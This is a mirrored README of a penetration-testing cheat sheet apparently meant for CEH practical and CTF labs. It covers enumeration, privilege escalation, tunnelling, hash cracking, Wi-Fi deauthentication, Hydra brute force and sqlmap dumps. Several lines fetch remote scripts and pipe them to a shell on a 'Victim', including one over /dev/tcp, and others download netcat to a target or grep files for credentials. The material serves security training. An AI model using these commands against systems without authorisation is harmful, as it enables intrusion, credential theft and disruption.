CEH_Practical_Cmds

KO | EN

gitlite — search

#python #llm #go #machine-learning #docker #macos #nodejs #java #windows #awesome #cli #kubernetes #mcp #openai

CEH_Practical_Cmds

(★ 13)

No description available.

CEH_Practical_Cmds 최신버젼 다운로드

최종 버전 다운로드 (.zip)

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

# 🛡️ My Quick Linux Command List
[![Hacking](https://img.shields.io/badge/Focus-Ethical%20Hacking-red?style=for-the-badge&logo=kali-linux)](https://github.com/pranay-root/CEH_Practical_Cmds)
[![Tools](https://img.shields.io/badge/Tools-Kali_Linux-blue?style=for-the-badge&logo=linux)](https://github.com/pranay-root/CEH_Practical_Cmds)

You can modify the commands as per your requirements please observe the commands before copy paste as there is explanation after commands in brackets,
Thank you

Virtual space inside terminal:
-------------------------------------
```
python3 -m venv env 
source env/bin/activate
```

Apache server:
-------------------------------------
```
sudo systemctl start apache2
sudo systemctl stop apache2
sudo systemctl restart apache2
enable systemctl apache2
sudo nano /etc/apache2/apache2.conf (apache config file to change port and other things)
```

Gobuster subdomain Enumeration:
--------------------------------------
```
gobuster vhost -u example.com -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 4 --append-domain
```
```
gobuster dns -d example.com -w /usr/share/seclists/Discovery/DNS/subdomains=top1million-5000.txt -t 10 
```
Dirsearch directory find:
--------------------------------------
```
dirsearch -u http://url.com/ -e*
```
```
gobuster dir -u http://url.com/ -w wordlist -t 10
```

Host file direct entry:
--------------------------------------
```
echo "10.10.11.254 demo.skyfall.htb" | sudo tee -a /etc/hosts
```

Locating scripts in unix:
--------------------------------------
```
locate *.nse | grep <servicename> 
```

FOr stable shell and internal machine to machine download:
--------------------------------------------------------------------
```
python3 -c "import pty;pty.spawn('/bin/bash')"
certutil -urlcache -f http://10.10.14.154:8888/nc64.exe nc64.exe #(windows)
wget http://ipaddress:portnumber/filename #(for both linux and windows)
```

Privilege Escalation common Commands:
---------------------------------------------------------------------------
```
whoami
ls -la
uname -a
cat /proc/version
id 
history
sudo -l
cat /etc/crontab
find / -perm -u=s -type f 2>/dev/null
netstat -tuln
getcap -r / 2>/dev/null
filecap

```

Linepeas Installation on Target with and without internet
---------------------------------------------------------------------------------------------------------------------------------------------------------------

```bash
# From github
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh

# Without curl
python -c "import urllib.request; urllib.request.urlretrieve('https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh', 'linpeas.sh')"

python3 -c "import urllib.request; urllib.request.urlretrieve('https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh', 'linpeas.sh')"
```

```bash
# Local network
sudo python3 -m http.server 80 #Host
curl 10.10.10.10/linpeas.sh | sh #Victim

# Without curl
sudo nc -q 5 -lvnp 80 < linpeas.sh #Host
cat < /dev/tcp/10.10.10.10/80 | sh #Victim
```

ligolo-ng port forwarding tool commands:
-----------------------------------------------------------------------
```
sudo ip tuntap add user root mode tun ligolo
sudo ip link set ligolo up
./proxy -selfcert (for hacking ctf machines)
./proxy -autocert (for real world)
./agent -connect 10.10.16.35:11601 -ignore-cert (target machine use this command)
session (choose session or simply press senter)
start (use this command in ligolo)
sudo ip route add 240.0.0.1/32 dev ligolo (to route the local running services to our machine magic ip)
```

Port Forwarding using SSH
-------------------------------------------------------------------------------------------
```
 ssh -L 8888:localhost:8080 rajesh@34.44.2.255 (with password)
 ssh -i private_key -L 8888:localhost:8080 username@targetip (with private key)
 (above syntax -L 8888(our machine port):localhost:8080(target machine localhost and ip to forward)
```

SSH RELATED:
------------------------------------------------------------------------------------
```
nano /etc/ssh/sshd_config
cat /etc/passwd | cut -d: -f1  #(display all users in the machine)
sudo service ssh restart 
sudo passwd -S username
sudo passwd -u username
ssh kristi@10.10.10.247 -p 2222 -L 5555:localhost:5555 #(ssh portforwarding for adb in mobile)
```

for adding a new user:
----------------------------
```
sudo adduser cyber
sudo usermod -aG sudo cyber
nano /etc/sudoers    #(adding user to sudoers file to get su permission)
usrname  ALL=(ALL:ALL) ALL
```
searching and removing user from using sudo and giving file permissions:
--------------------------------------------------------------------------------------
```
sudo gpasswd -d username sudo (to remove sudo permisson of anyuser)
getent group sudo (to list the sudo users in sudo group)

nano /etc/sudoers    (adding user to sudoers file to get su permission)
username  ALL=(ALL:ALL) ALL (giving all executable permissions)

sudo chown -R kali:www-data html
sudo chmod -R 750 folder (to remove forbidden access)
sudo chmod g+w /var/www/html/*.php /var/www/html/*.html

sudo chmod 775 test.sh
sudo chown tennyson:tennyson test.sh
```

Stabilizing the reverse shell:
-----------------------------------------------------------------------------------
```
script /dev/null -c /bin/bash
CTRL + Z
stty raw -echo; fg
Then press Enter twice, and then enter:
export TERM=xterm
```

Converting ova to vmdk and other extensions:
-----------------------------------------------------------------------------------
```
tar xvf HF2019-Linux.ova #(unziping ova file)
./VBoxManage clonehd "S:\HF2019-Linux.ova\HF2019-Linux\HF2019-Linux-disk001.vdi" S:\HF2019-Linux.ova\vmdk\disk.vmdk --format VMDK
```

All cmds on extracting and compressig:
--------------------------------------------------------------------------------------
## zip
```
zip archive.zip file1 file2 directory1
unzip archive.zip (to extract .zip)
```
## tar compression
```
tar -cvf archive.tar file1 file2 directory1
tar -cvzf archive.tar.gz file1 file2 directory1
tar -cvjf archive.tar.bz2 file1 file2 directory1
tar -cvJf archive.tar.xz file1 file2 directory1
```
## tar extraction
```
tar -xvf archive.tar
tar -xzvf archive.tar.gz
tar -xjvf archive.tar.bz2
tar -xJvf archive.tar.xz
```
## gzip
```
gzip file.txt
gunzip file.txt.gz (to extract .gz)
```
## bzip2
```
bzip2 file.txt
bunzip2 file.txt.bz2 (to extract .bz2)
```
## xz file.txt
```
xz file.txt
unxz file.txt.xz (to extract .xz)
``` 
## 7z
```
7z a archive.7z file1 file2 directory1
7za x archive.7z (to extract .7z)

```
## rar
```
rar a archive.rar file1 file2 directory1
unrar x archive.rar  (to extract .rar)
```

Grep filtering commands
-----------------------------------------------------------------------------------------------------
```
grep -oP '(?<=^| )([0-9]{1,3}\.){3}[0-9]{1,3}(?= |$)'| sort | uniq  (filter ipaddress)
grep -Ev '^\s*https?://|.{41,}|^\s*$' | grep -E '[a-z0-9!@#$%^&*()-_=+{};:,.<>?]{5,}:[a-z0-9!@#$%^&*()-_=+{};:,.<>?]{5,}' | grep -v -e 'http://' -e 'https://' (filter credentails)
grep -ril 'username' /var/www/html (will show the files contains username)
find /var/www/html -type f -name "*.php" -exec grep -l 'username' {} + | xargs grep -l 'password'

```

Manual assigning of ipv4 to wlan0
-----------------------------------------------------------------------------------
```
ifconfig wlan0 192.168.1.7 netmask 255.255.255.0
```

Server Message Block (SMB):
----------------------------------------------------------
```
		smbclient //<server>/<share> -U <username>
		smbclient -L //<target-ip> -U <username>
		smbclient //<target-ip>/<share-name> -U <username>
		smbclient //<target-ip>/<share-name> -U <username> --pwfile=<password-file>
		smbclient //<target-ip>/share -N
```
--------------------------------------------------------------

Hash cracking:
----------------------------------------------------------
## John The Ripper (basic Format)
```
john -w=<wordlist> hash.txt
john --format=raw-md5 --wordlist=<wordlist> <hash_file>
john --format=bcrypt --wordlist=<wordlist> <hash_file>
john --format=raw-sha1 --wordlist=<wordlist> <hash_file>
john --format=raw-sha256 --wordlist=<wordlist> <hash_file>
john --incremental=All <hashfile>
john --incremental=Digits hash.txt
john --incremental=Lower hash.txt
john --show hash.txt
```
## john hash converting
```
| File Type               | Convert Command                           | Crack Command   |
| ----------------------- | ----------------------------------------- | --------------- |
| ZIP                     | `zip2john file.zip > hash.txt`            | `john hash.txt` |
| RAR                     | `rar2john file.rar > hash.txt`            | `john hash.txt` |
| 7z                      | `7z2john.pl file.7z > hash.txt`           | `john hash.txt` |
| PDF                     | `pdf2john.py file.pdf > hash.txt`         | `john hash.txt` |
| Office (docx/xlsx/pptx) | `office2john.py file.docx > hash.txt`     | `john hash.txt` |
| SSH Private Key         | `ssh2john.py id_rsa > hash.txt`           | `john hash.txt` |
| KeePass                 | `keepass2john file.kdbx > hash.txt`       | `john hash.txt` |
| Linux passwd/shadow     | `unshadow passwd shadow > hash.txt`       | `john hash.txt` |
| WPA/WPA2 WiFi           | `hccapx2john file.hccapx > hash.txt`      | `john hash.txt` |
| TrueCrypt/VeraCrypt     | `truecrypt2john file.tc > hash.txt`       | `john hash.txt` |
| BitLocker               | `bitlocker2john -i backup.vhd > hash.txt` | `john hash.txt` |
| DMG                     | `dmg2john file.dmg > hash.txt`            | `john hash.txt` |
| PKCS12/PFX              | `pfx2john file.pfx > hash.txt`            | `john hash.txt` |

```
to show already cracked hashes
```
john --show <hashfile>
```

## hashcat (basic format)
```
hashcat -m 0 -a 0 <hash_file> <wordlist>  (md5 hashes)
hashcat -m 3200 -a 0 <hash_file> <wordlist> (bcrypt hashes)
hashcat -m 100 -a 0 <hash_file> <wordlist> (sha1 hashes)
hashcat -m 1400 -a 0 <hash_file> <wordlist> (sha 256 hashes)
hashcat -m 0 -a 3 hash.txt ?a?a?a?a (bruteforce)
hashcat --show hash.txt
```
to show already cracked hashes
```
hashcat --show <hashfile>
```

FTP server:
---------------------------------------------------------
```
apt install vsftpd
systemctl start vsftpd
systemctl enable vsftpd
systemctl status vsftpd
```

wireless hacking
------------------------------------------------------------------------------------
```
sudo airmon-ng start wlan0 #(Put Wi-Fi adapter in monitor mode)
sudo airodump-ng wlan0mon #(Start capturing traffic:)
sudo airodump-ng -c [channel] --bssid [BSSID] -w outputfile wlan0mon #(Capture a handshake:)
sudo aireplay-ng -0 5 -a [BSSID] wlan0mon #(Deauthenticate a client:)
```

Crack the handshake:
--------------------------------------------
```
sudo aircrack-ng -w wordlist.txt -b [BSSID] outputfile.cap 
aircrack-ng outputfile.cap #(Identify Handshake or get bssid)
aircrack-ng -w wordlist.txt outputfile.cap #(direct crack)
```
Hydra all brute force commands:
--------------------------------------------------------------------------------------------
```
note "-P" capital for passwordlists if it is only single password use small "-p"
hydra -l <username> -P <passwords_file> <target_ip> ssh
hydra -l <username> -P <passwords_file> <target_ip> ftp
hydra -l <username> -P <passwords_file> <target_ip> mysql
hydra -l <username> -p <password> <ip> <service> -s <port>
hydra -V -f -P '/home/kali/rockyou.txt'  10.10.7.91 vnc (without username)
hydra -C <combinations.txt> <ip> <service>
hydra -l <username> -P <passwords_file> <target_url> http-post-form "<post_data>:<failure_string>" #(post form)
hydra -l <username> -P <passwords_file> <target_url> http-get #(get request login)
hydra -l <username> -P <passwords_file> <target_url> http-get-form "<login_url>:<form_field_names>:<failure_string>:<cookie_string>"
hydra -l admin -P '/home/kali/rockyou.txt' 34.170.40.47 -s 8080 http-post-form "/index.php:username=^USER^&password=^PASS^:Invalid username or password. Please try again."
hydra -L allowed.userlist -P allowed.userlist.passwd 10.129.176.80 http-post-form '/login.php:Username=^USER^&Password=^PASS^&Submit=Login:<strong>Warning!</strong> Incorrect information.' -V (for alert message login failed brute force)
```

wireshark packet filters:
------------------------------------------------------------------------------------------
## Protocol Filters:
```
tcp: Filters TCP traffic.
udp: Filters UDP traffic.
icmp: Filters ICMP traffic.
http: Filters HTTP traffic.
dns: Filters DNS traffic.
arp: Filters ARP traffic.
smtp: Filters SMTP traffic.
ftp: Filters FTP traffic.
ssl: Filters SSL/TLS traffic.
ssh: Filters SSH traffic.
```
## Address Filters:
```
ip.addr == x.x.x.x: Filters traffic for a specific IP address.
ip.src == x.x.x.x: Filters traffic with a specific source IP address.
ip.dst == x.x.x.x: Filters traffic with a specific destination IP address.
eth.addr == xx:xx:xx:xx:xx:xx: Filters traffic based on MAC address.
```
## Port Filters:
```
tcp.port == xxxx: Filters TCP traffic on a specific port.
udp.port == xxxx: Filters UDP traffic on a specific port.
```
## Logical Operators:
```
and: Logical AND operator.
or: Logical OR operator.
not: Logical NOT operator.
```
## Comparisons:
```
==: Equals.
!=: Not equal.
>: Greater than.
<: Less than.
```
## Range Filters:
```
ip.addr in x.x.x.x/y: Filters traffic within a specific IP address range.
tcp.port in {x, y, z}: Filters traffic on multiple TCP ports.
udp.port in {x, y, z}: Filters traffic on multiple UDP ports.
```
## Display Filters:
```
frame.number == n: Filters by frame number.
frame.time_relative > n: Filters by time relative to the start of capture.
```
## HTTP Filters:
```
http.request.method == "GET": Filters HTTP GET requests.
http.response.code == 200: Filters HTTP responses with status code 200.
http.host == "example.com": Filters HTTP traffic for a specific host.
```
## DNS Filters:
```
dns.qry.name == "example.com": Filters DNS queries for a specific domain.
dns.resp.addr == x.x.x.x: Filters DNS responses with a specific IP address.
```
## SSL/TLS Filters:
```
ssl.handshake: Filters SSL handshake packets.
ssl.record.content_type == 23: Filters SSL application data packets.
```
SQLMAP for SQL injection:
--------------------------------------------
```
sqlmap -u "http://target.com/page.php?id=1"
sqlmap -u "http://target.com/login.php" --data="username=admin&password=pass"
sqlmap -r request.txt
sqlmap -u "http://target.com/page.php?id=1" -p id
sqlmap -u "https://target.com/page.php?id=1" --level=5 --risk=3
sqlmap -r request.txt --technique=T
sqlmap -r request.txt --technique=T --time-sec=10
sqlmap -r request.txt --technique=T --threads=10
sqlmap -r request.txt --technique=T --batch
sqlmap -r request.txt --technique=T --keep-alive
sqlmap -r request.txt --technique=T --predict-output
sqlmap -r request.txt --technique=T --batch --current-db
sqlmap -r request.txt --technique=T --batch --dbs
sqlmap -r request.txt --technique=T --batch -D dbname --tables
sqlmap -r request.txt --technique=T --batch -D dbname -T users --columns
sqlmap -r request.txt -D dbname -T users --dump
sqlmap -r request.txt -D dbname -T users -C username,password --dump
sqlmap -r request.txt --technique=T --dump-all
sqlmap -r request.txt --technique=T --dump-all --resume
```
Run in powershell to run ollama in 0.0.0.0
======================================
```
$env:OLLAMA_HOST="0.0.0.0:11434"
ollama serve
```

CEH_Practical_Cmds

CEH_Practical_Cmds 최신버젼 다운로드

오늘의 추천 프로젝트

Was this content helpful?

Recent Feedback

CEH_Practical_Cmds

CEH_Practical_Cmds 최신버젼 다운로드

오늘의 추천 프로젝트

Was this content helpful?

Recent Feedback

Download README